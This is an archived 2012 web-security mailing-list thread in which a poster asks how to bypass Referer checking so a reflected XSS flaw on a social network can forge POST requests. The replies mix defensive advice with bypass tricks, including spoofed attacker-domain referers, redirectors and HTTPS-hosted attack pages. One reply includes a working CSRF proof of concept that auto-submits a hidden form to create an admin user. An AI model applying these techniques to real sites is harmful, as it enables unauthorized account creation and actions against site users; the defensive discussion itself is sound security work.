Help with referer issues in XSS
Hi, all
Suppose there is a reflect XSS vulnerability in a pop SNS, but this
site is "concerned" about security, so they check the referer field of
certain POST request to make sure that they are normal and correct. Is
it possible for me to bypass this check within javascript? It seems
that I can't set this parameter like this:
xmlHttp.setRequestHeader("Referer","http://expected.target");
It would be appreciated if someone can give me a clue.
Regards,
Hello,
Suppose there is a reflect XSS vulnerability in a pop SNS, but this
site is "concerned" about security, so they check the referer field of
certain POST request to make sure that they are normal and correct. Is
it possible for me to bypass this check within javascript? It seems
that I can't set this parameter like this:
xmlHttp.setRequestHeader("Referer","http://expected.target");
It would be appreciated if someone can give me a clue.
I'm always interested to see what the community's response is to this
question. It comes up relatively frequently in the context of CSRF
(since this kind of checking can mitigate CSRF). Often most people
are skeptical that this kind of checking is sufficient to prevent CSRF
and reflected XSS, but in recent times, I am not aware of a way around
it in the general case.
Old versions of Flash do allow one to set Referer cross-domain, but it
is my impression this was fixed quite some time ago. Various XHR API
vulnerabilities have also existed in the past to allow for injection
of restricted headers, like Referer, but these could be seen as
browser vulnerabilities.
Recently [1] it was pointed out how headers containing '-' can be
spoofed due to foolishness in CGI-compatible APIs that transliterate
header names, but Referer of course doesn't have a '-'.
Can anyone give an example of how one would get around Referer
checking?
tim
Referrer header defense is reasonable for intranet facing applications
where referrer header policy is controlled.
Some organizations choose to strip all outbound referrer headers to
prevent information leakage. Therefor referrer defense of this nature
is not always workable for internet facing applications.
So really, you are better off using entropy (random tokens) for CSRF
defense, and proper validation and escaping for XSS defense.
--
Jim Manico
VP, Security Architecture
WhiteHat Security
(808) 652-3805
On Mar 2, 2012, at 7:42 PM, Tim tim-security@sentinelchicken.org wrote:
Hello,
Suppose there is a reflect XSS vulnerability in a pop SNS, but this
site is "concerned" about security, so they check the referer field of
certain POST request to make sure that they are normal and correct. Is
it possible for me to bypass this check within javascript? It seems
that I can't set this parameter like this:
xmlHttp.setRequestHeader("Referer","http://expected.target");
It would be appreciated if someone can give me a clue.
I'm always interested to see what the community's response is to this
question. It comes up relatively frequently in the context of CSRF
(since this kind of checking can mitigate CSRF). Often most people
are skeptical that this kind of checking is sufficient to prevent CSRF
and reflected XSS, but in recent times, I am not aware of a way around
it in the general case.
Old versions of Flash do allow one to set Referer cross-domain, but it
is my impression this was fixed quite some time ago. Various XHR API
vulnerabilities have also existed in the past to allow for injection
of restricted headers, like Referer, but these could be seen as
browser vulnerabilities.
Recently [1] it was pointed out how headers containing '-' can be
spoofed due to foolishness in CGI-compatible APIs that transliterate
header names, but Referer of course doesn't have a '-'.
Can anyone give an example of how one would get around Referer
checking?
tim
The Web Security Mailing List
WebSecurity RSS Feed
http://www.webappsec.org/rss/websecurity.rss
Join WASC on LinkedIn http://www.linkedin.com/e/gis/83336/4B20E4374DBA
WASC on Twitter
http://twitter.com/wascupdates
websecurity@lists.webappsec.org
http://lists.webappsec.org/mailman/listinfo/websecurity_lists.webappsec.org
Hi Jim,
Some organizations choose to strip all outbound referrer headers to
prevent information leakage. Therefor referrer defense of this nature
is not always workable for internet facing applications.
Really? Never come across that myself. At least in that (rare?)
situation, the app just breaks.
So really, you are better off using entropy (random tokens) for CSRF
defense, and proper validation and escaping for XSS defense.
I agree, it is a better defense. The problem lies in implementation,
particularly with CSRF. Asking an app developer to update every form
in every page of a large application tends to be met with resistance,
in my experience, This is particularly true in situations where the
developer didn't use an application-wide framework for form display
and validation.
On the other hand, validating just the Referer tends to be a lot
easier to implement as a short-term mitigation since it doesn't
require changes to the display of forms.
Cheers,
tim
Short term defense? Sure thing. Long term robust defense? I
respectfully think not.
I prefer my CSRF defense mechanisms to have strong randomness unique
to each request, in addition to robust XSS defense, since XSS can be
used to circumvent almost any CSRF defense mechanism.
Browser bugs have made methods like referrer checking, dependence on
SOP and double-submit cookies circumventable in the past. At least
with XSS defense and CSRF tokens, you have control over the defensive
mechanism and do not lean on browser security.
--
Jim Manico
VP, Security Architecture
WhiteHat Security
(808) 652-3805
On Mar 2, 2012, at 10:34 PM, Tim tim-security@sentinelchicken.org wrote:
Hi Jim,
Some organizations choose to strip all outbound referrer headers to
prevent information leakage. Therefor referrer defense of this nature
is not always workable for internet facing applications.
Really? Never come across that myself. At least in that (rare?)
situation, the app just breaks.
So really, you are better off using entropy (random tokens) for CSRF
defense, and proper validation and escaping for XSS defense.
I agree, it is a better defense. The problem lies in implementation,
particularly with CSRF. Asking an app developer to update every form
in every page of a large application tends to be met with resistance,
in my experience, This is particularly true in situations where the
developer didn't use an application-wide framework for form display
and validation.
On the other hand, validating just the Referer tends to be a lot
easier to implement as a short-term mitigation since it doesn't
require changes to the display of forms.
Cheers,
tim
..., since XSS can be
used to circumvent almost any CSRF defense mechanism.
Yes of course, except for certain reflected XSS bugs, since the attack
vector is the same.
To be clear, I definitely don't advocate any strong reliance on
Referer when it comes to XSS. Injections of that type just need to be
fixed properly.
Browser bugs have made methods like referrer checking, dependence on
SOP and double-submit cookies circumventable in the past. At least
with XSS defense and CSRF tokens, you have control over the defensive
mechanism and do not lean on browser security.
I agree, Referer is not reliable. But it is simply obscene, from a
protocol design perspective, that we have to require web developers to
craft a cryptographic protocol to prevent CSRF. I mean really... It
is an effective kludge, but it is a kludge. (Note that most
developers, given the opportunity to implement any kind of crypto,
will screw it up 9 times out of 10, in my experience.)
At it's core, CSRF is a design flaw in the web in that no types of
requests were restricted in a cross-domain sense from day one. There
ought to be a way to define a policy on what domains certain requests
can and cannot come from. That's the core issue with CSRF, right? If
I receive a POST request from anotherapp.example.com to my app at
trustedapp.example.com, that could be ok, but if the request
originated from a URL in an email, that's not cool.
So Referer is currently the one place you can obtain the information
you need to make intelligent policy decisions about what pages can be
the origin of a state-changing request. It is just too bad that
Referer isn't very reliable and/or preserving of people's privacy...
tim
Here's a couple things to try that I've learned in my experience.
First you can find out more about how the application is checking the REFERER.
Find out if the application is only verifying parts of the REFERER or
the entire URL. Try taking parts of the REFERER out and see if the
request is still valid, for example:
- www.example.com/profile.jsp [original]
- www.example.com/arbitrary_page.jsp
- [no referrer]
- www.attacker.com/www.example.com/profile.jsp
If you find a redirector on the site, you can use [2].
If the request is allowed with no REFERER, the attack site can be
hosted on HTTPS since HTTPS->HTTP won't send the REFERER [3].
Create a new folder on the attack site with the URL of the victim site.
If the referrer checking is strict [1], then the attack might now be
as easy. Either way, vuln is still vuln.
Phil
On Mar 2, 2012, at 10:43 AM, Tim tim-security@sentinelchicken.org wrote:
Hello,
Suppose there is a reflect XSS vulnerability in a pop SNS, but this
site is "concerned" about security, so they check the referer field of
certain POST request to make sure that they are normal and correct. Is
it possible for me to bypass this check within javascript? It seems
that I can't set this parameter like this:
xmlHttp.setRequestHeader("Referer","http://expected.target");
It would be appreciated if someone can give me a clue.
I'm always interested to see what the community's response is to this
question. It comes up relatively frequently in the context of CSRF
(since this kind of checking can mitigate CSRF). Often most people
are skeptical that this kind of checking is sufficient to prevent CSRF
and reflected XSS, but in recent times, I am not aware of a way around
it in the general case.
Old versions of Flash do allow one to set Referer cross-domain, but it
is my impression this was fixed quite some time ago. Various XHR API
vulnerabilities have also existed in the past to allow for injection
of restricted headers, like Referer, but these could be seen as
browser vulnerabilities.
Recently [1] it was pointed out how headers containing '-' can be
spoofed due to foolishness in CGI-compatible APIs that transliterate
header names, but Referer of course doesn't have a '-'.
Can anyone give an example of how one would get around Referer
checking?
tim
The Web Security Mailing List
WebSecurity RSS Feed
http://www.webappsec.org/rss/websecurity.rss
Join WASC on LinkedIn http://www.linkedin.com/e/gis/83336/4B20E4374DBA
WASC on Twitter
http://twitter.com/wascupdates
websecurity@lists.webappsec.org
http://lists.webappsec.org/mailman/listinfo/websecurity_lists.webappsec.org
One more case worth mentioning is appending the expected domain as a
sub-domain of the attackers domain. I've seen several applications fall
because they didn't qualify the entire domain.
--
Jason Calvert
On 03/02/2012 06:30 PM, super evr wrote:
Here's a couple things to try that I've learned in my experience.
First you can find out more about how the application is checking the REFERER.
Find out if the application is only verifying parts of the REFERER or
the entire URL. Try taking parts of the REFERER out and see if the
request is still valid, for example:
- www.example.com/profile.jsp [original]
- www.example.com/arbitrary_page.jsp
- [no referrer]
- www.attacker.com/www.example.com/profile.jsp
If you find a redirector on the site, you can use [2].
If the request is allowed with no REFERER, the attack site can be
hosted on HTTPS since HTTPS->HTTP won't send the REFERER [3].
Create a new folder on the attack site with the URL of the victim site.
If the referrer checking is strict [1], then the attack might now be
as easy. Either way, vuln is still vuln.
Phil
On Mar 2, 2012, at 10:43 AM, Tim tim-security@sentinelchicken.org wrote:
Hello,
Suppose there is a reflect XSS vulnerability in a pop SNS, but this
site is "concerned" about security, so they check the referer field of
certain POST request to make sure that they are normal and correct. Is
it possible for me to bypass this check within javascript? It seems
that I can't set this parameter like this:
xmlHttp.setRequestHeader("Referer","http://expected.target");
It would be appreciated if someone can give me a clue.
I'm always interested to see what the community's response is to this
question. It comes up relatively frequently in the context of CSRF
(since this kind of checking can mitigate CSRF). Often most people
are skeptical that this kind of checking is sufficient to prevent CSRF
and reflected XSS, but in recent times, I am not aware of a way around
it in the general case.
Old versions of Flash do allow one to set Referer cross-domain, but it
is my impression this was fixed quite some time ago. Various XHR API
vulnerabilities have also existed in the past to allow for injection
of restricted headers, like Referer, but these could be seen as
browser vulnerabilities.
Recently [1] it was pointed out how headers containing '-' can be
spoofed due to foolishness in CGI-compatible APIs that transliterate
header names, but Referer of course doesn't have a '-'.
Can anyone give an example of how one would get around Referer
checking?
tim
The Web Security Mailing List
WebSecurity RSS Feed
http://www.webappsec.org/rss/websecurity.rss
Join WASC on LinkedIn http://www.linkedin.com/e/gis/83336/4B20E4374DBA
WASC on Twitter
http://twitter.com/wascupdates
websecurity@lists.webappsec.org
http://lists.webappsec.org/mailman/listinfo/websecurity_lists.webappsec.org
The Web Security Mailing List
WebSecurity RSS Feed
http://www.webappsec.org/rss/websecurity.rss
Join WASC on LinkedIn http://www.linkedin.com/e/gis/83336/4B20E4374DBA
WASC on Twitter
http://twitter.com/wascupdates
websecurity@lists.webappsec.org
http://lists.webappsec.org/mailman/listinfo/websecurity_lists.webappsec.org
Also check for:
- www.example.com.attacker.com/.. as the referrer
just in case the referrer checking regexp is broken.
Cheers
Stefano
Il giorno ven, 02/03/2012 alle 18.30 -0800, super evr ha scritto:
Here's a couple things to try that I've learned in my experience.
First you can find out more about how the application is checking the REFERER.
Find out if the application is only verifying parts of the REFERER or
the entire URL. Try taking parts of the REFERER out and see if the
request is still valid, for example:
- www.example.com/profile.jsp [original]
- www.example.com/arbitrary_page.jsp
- [no referrer]
- www.attacker.com/www.example.com/profile.jsp
If you find a redirector on the site, you can use [2].
If the request is allowed with no REFERER, the attack site can be
hosted on HTTPS since HTTPS->HTTP won't send the REFERER [3].
Create a new folder on the attack site with the URL of the victim site.
If the referrer checking is strict [1], then the attack might now be
as easy. Either way, vuln is still vuln.
Phil
On Mar 2, 2012, at 10:43 AM, Tim tim-security@sentinelchicken.org wrote:
Hello,
Suppose there is a reflect XSS vulnerability in a pop SNS, but this
site is "concerned" about security, so they check the referer field of
certain POST request to make sure that they are normal and correct. Is
it possible for me to bypass this check within javascript? It seems
that I can't set this parameter like this:
xmlHttp.setRequestHeader("Referer","http://expected.target");
It would be appreciated if someone can give me a clue.
I'm always interested to see what the community's response is to this
question. It comes up relatively frequently in the context of CSRF
(since this kind of checking can mitigate CSRF). Often most people
are skeptical that this kind of checking is sufficient to prevent CSRF
and reflected XSS, but in recent times, I am not aware of a way around
it in the general case.
Old versions of Flash do allow one to set Referer cross-domain, but it
is my impression this was fixed quite some time ago. Various XHR API
vulnerabilities have also existed in the past to allow for injection
of restricted headers, like Referer, but these could be seen as
browser vulnerabilities.
Recently [1] it was pointed out how headers containing '-' can be
spoofed due to foolishness in CGI-compatible APIs that transliterate
header names, but Referer of course doesn't have a '-'.
Can anyone give an example of how one would get around Referer
checking?
tim
The Web Security Mailing List
WebSecurity RSS Feed
http://www.webappsec.org/rss/websecurity.rss
Join WASC on LinkedIn http://www.linkedin.com/e/gis/83336/4B20E4374DBA
WASC on Twitter
http://twitter.com/wascupdates
websecurity@lists.webappsec.org
http://lists.webappsec.org/mailman/listinfo/websecurity_lists.webappsec.org
The Web Security Mailing List
WebSecurity RSS Feed
http://www.webappsec.org/rss/websecurity.rss
Join WASC on LinkedIn http://www.linkedin.com/e/gis/83336/4B20E4374DBA
WASC on Twitter
http://twitter.com/wascupdates
websecurity@lists.webappsec.org
http://lists.webappsec.org/mailman/listinfo/websecurity_lists.webappsec.org
--
...oOOo...oOOo....
Stefano Di Paola
Software & Security Engineer
Owasp Italy R&D Director
Web: www.wisec.it
Twitter: http://twitter.com/WisecWisec
..................
If you are using firefox you have addons that let you specify whatever you
want in the referer field.
referer
https://addons.mozilla.org/en-US/firefox/addon/refcontrol/
or other header fields
https://addons.mozilla.org/en-US/firefox/addon/header-tool/
2012/3/2 Yuping Li lyp20062392@gmail.com
Hi, all
Suppose there is a reflect XSS vulnerability in a pop SNS, but this
site is "concerned" about security, so they check the referer field of
certain POST request to make sure that they are normal and correct. Is
it possible for me to bypass this check within javascript? It seems
that I can't set this parameter like this:
xmlHttp.setRequestHeader("Referer","http://expected.target");
It would be appreciated if someone can give me a clue.
Regards,
This list is sponsored by Cenzic
Let Us Hack You. Before Hackers Do!
It's Finally Here - The Cenzic Website HealthCheck. FREE.
Request Yours Now!
http://www.cenzic.com/2009HClaunch_Securityfocus
1.) The referrer attribute is relevant only upon submission of the
request to the server. That means that it usually doesn't affect an XSS
reflection. Just submit a legitimate request and shove your attack
string in.
2.) The referrer attribute is a concern when doing a CSRF attack.
<%@page language="java" contentType="text/html"%>
<div id="content">
<h1>
CSRF Test
</h1>
<Br/>
<Br/>
<Script type="text/javascript">
var strSource = "
<HTML>\r\n\
<Input type="hidden" name="mainAction" value="create">\r\n\
<Input type="hidden" name="subAction" value="OK">\r\n\
<Input type="hidden" name="motAction" value="">\r\n\
<Input type="hidden" name="selectedItem" value="">\r\n\
<Input type="hidden" name="companyName" value="ACME, Inc.">\r\n\
<Input type="hidden" name="companyCd" value="1102885751">\r\n\
<Input type="hidden" name="deptId" value="">\r\n\
<Input type="hidden" name="currDeptId" value="">\r\n\
<Input type="hidden" name="departmentID" value="Dept">\r\n\
<Input type="hidden" name="userID" value="CSRFTest0">\r\n\
<Input type="hidden" name="userFirstName" value="J">\r\n\
<Input type="hidden" name="userLastName" value="Deaux">\r\n\
<Input type="hidden" name="userLoginId" value="CSRFTest0">\r\n\
<Input type="hidden" name="userPassword" value="test123">\r\n\
<Input type="hidden" name="userPassword2" value="test123">\r\n\
<Input type="hidden" name="addressOne" value="123+Anystreet">\r\n\
<Input type="hidden" name="addressTwo" value="">\r\n\
<Input type="hidden" name="cityName" value="Anytown">\r\n\
<Input type="hidden" name="stateCd" value="AL">\r\n\
<Input type="hidden" name="postalCd" value="36310">\r\n\
<Input type="hidden" name="country" value="US">\r\n\
<Input type="hidden" name="telephoneNbr" value="9876543210">\r\n\
<Input type="hidden" name="faxNbr" value="">\r\n\
<Input type="hidden" name="useDeptSettingsFlg" value="true">\r\n\
<Input type="hidden" name="adminRoleCd" value="A">\r\n\
</Form>\r\n\
</Body>\r\n
<Script
type="text/javascript">\r\n\
document.forms["RequestForm"].submit();\r\n\
</Script>\r\n
</HTML>\r\n";
var eleCSRFIFrame =
document.createElement("iframe");
eleCSRFIFrame.style.width = "80%";
eleCSRFIFrame.style.height = "80%";
document.body.appendChild(eleCSRFIFrame);
var docFrameSource =
eleCSRFIFrame.document;
if(eleCSRFIFrame.contentDocument)
docFrameSource =
eleCSRFIFrame.contentDocument; // for NS6
else
if(eleCSRFIFrame.contentWindow)
docFrameSource =
eleCSRFIFrame.contentWindow.document; // for IE6
docFrameSource.open();
docFrameSource.writeln(strSource);
docFrameSource.close();
</Script>
</div><!-- close: content -->
-----Original Message-----
From: listbounce@securityfocus.com [mailto:listbounce@securityfocus.com]
On Behalf Of Yuping Li
Sent: Friday, March 02, 2012 12:56 AM
To: webappsec@securityfocus.com; websecurity@webappsec.org
Subject: Help with referer issues in XSS
Hi, all
Suppose there is a reflect XSS vulnerability in a pop SNS, but this
site is "concerned" about security, so they check the referer field of
certain POST request to make sure that they are normal and correct. Is
it possible for me to bypass this check within javascript? It seems
that I can't set this parameter like this:
xmlHttp.setRequestHeader("Referer","http://expected.target");
It would be appreciated if someone can give me a clue.
Regards,
This list is sponsored by Cenzic
Let Us Hack You. Before Hackers Do!
It's Finally Here - The Cenzic Website HealthCheck. FREE.
Request Yours Now!
http://www.cenzic.com/2009HClaunch_Securityfocus
Hi,
Thanks for all your response. The premise of my situation is that
there is a XSS bug in the site, and I want to utilize this vul to do
something more, for example, forge some post requests in my js code,
you may recall the glorious "Samy" story here. But the server is now
checking the referer field of any request, and the expected referer
should be like this: http://(www.)example.com(/xxx).
And can't be:
1, no referer
2, (example.com.***).attack.com/...
Until last second, I came to realize that the host part in the
referer field can only be http://(www.)example.com, and the request
will fail if the referer contain some sort of "xss attempt", but I can
only launch the post requests in the xssed page which means the xss
attempt will inevitable be contained in the referer field of a normal
request. Of course I can set it with firefox addons, but there is no
point here.
Seems if there is no programming way to set my own referer of my post
request and their xss detecting techniques of referer are good enough,
I may have no hope.
Yuping
If you want to create a script setting headers and exploiting XSS, that you
could redistribute to potential victims via email, you can't. But there are
number of ways to set a 'referer' via various tools or in lower level
languages. You could also write a script that would take a victim to an
evilguy.com which would do the harm setting headers, etc... There are other
more sophisticated ways like man-in-the-middle attacks that would also work.
Alan Tatourian
-----Original Message-----
From: listbounce@securityfocus.com [mailto:listbounce@securityfocus.com] On
Behalf Of Yuping Li
Sent: Tuesday, March 06, 2012 8:36 PM
To: Ward, Jon; ray.bradbury9@gmail.com; stefano.dipaola@wisec.it
Cc: webappsec@securityfocus.com; websecurity@webappsec.org
Subject: Re: Help with referer issues in XSS
Hi,
Thanks for all your response. The premise of my situation is that there is a
XSS bug in the site, and I want to utilize this vul to do something more,
for example, forge some post requests in my js code, you may recall the
glorious "Samy" story here. But the server is now checking the referer field
of any request, and the expected referer should be like this:
http://(www.)example.com(/xxx).
And can't be:
1, no referer
2, (example.com.***).attack.com/...
Until last second, I came to realize that the host part in the referer
field can only be http://(www.)example.com, and the request will fail if the
referer contain some sort of "xss attempt", but I can only launch the post
requests in the xssed page which means the xss attempt will inevitable be
contained in the referer field of a normal request. Of course I can set it
with firefox addons, but there is no point here.
Seems if there is no programming way to set my own referer of my post
request and their xss detecting techniques of referer are good enough, I may
have no hope.
Yuping
This list is sponsored by Cenzic
Let Us Hack You. Before Hackers Do!
It's Finally Here - The Cenzic Website HealthCheck. FREE.
Request Yours Now!
http://www.cenzic.com/2009HClaunch_Securityfocus
Or maybe you can use Tamper Data for FF.
Il giorno 07/mar/2012, alle ore 05:35, Yuping Li lyp20062392@gmail.com ha scritto:
Hi,
Thanks for all your response. The premise of my situation is that
there is a XSS bug in the site, and I want to utilize this vul to do
something more, for example, forge some post requests in my js code,
you may recall the glorious "Samy" story here. But the server is now
checking the referer field of any request, and the expected referer
should be like this: http://(www.)example.com(/xxx).
And can't be:
1, no referer
2, (example.com.***).attack.com/...
Until last second, I came to realize that the host part in the
referer field can only be http://(www.)example.com, and the request
will fail if the referer contain some sort of "xss attempt", but I can
only launch the post requests in the xssed page which means the xss
attempt will inevitable be contained in the referer field of a normal
request. Of course I can set it with firefox addons, but there is no
point here.
Seems if there is no programming way to set my own referer of my post
request and their xss detecting techniques of referer are good enough,
I may have no hope.
Yuping
This list is sponsored by Cenzic
Let Us Hack You. Before Hackers Do!
It's Finally Here - The Cenzic Website HealthCheck. FREE.
Request Yours Now!
http://www.cenzic.com/2009HClaunch_Securityfocus
James Manico wrote on 3/2/2012 1:24 PM:
Referrer header defense is reasonable for intranet facing applications
where referrer header policy is controlled.
Some organizations choose to strip all outbound referrer headers to
prevent information leakage. Therefor referrer defense of this nature
is not always workable for internet facing applications.
So really, you are better off using entropy (random tokens) for CSRF
defense, and proper validation and escaping for XSS defense.
Using the referrer as a CSRF defense works when the site is HTTPS and you disallow requests with an omitted referrer header. Only a tiny fraction of internet users suppress the referrer header over HTTPS:
"The Referer header can be used as a CSRF defense for HTTPS requests. In order to use the Referer header as a CSRF defense, a site must reject requests that omit the header because an attacker can cause the browser to suppress the header. Over HTTP, sites cannot afford to block requests that lack a Referer header because they would cease to be compatible with the sizable percentage (roughly 3–11%) of users. Over HTTPS, however, strict Referer validation is feasible because only a tiny percentage (0.05–0.22%) of browsers suppress the header. In particular, strict Referer validation is well-suited for preventing login CSRF because login requests are typically issued over HTTPS."
Source: http://seclab.stanford.edu/websec/csrf/csrf.pdf
That paper discusses various techniques for CSRF defense and is worth a read for those interested in this topic.
- Bil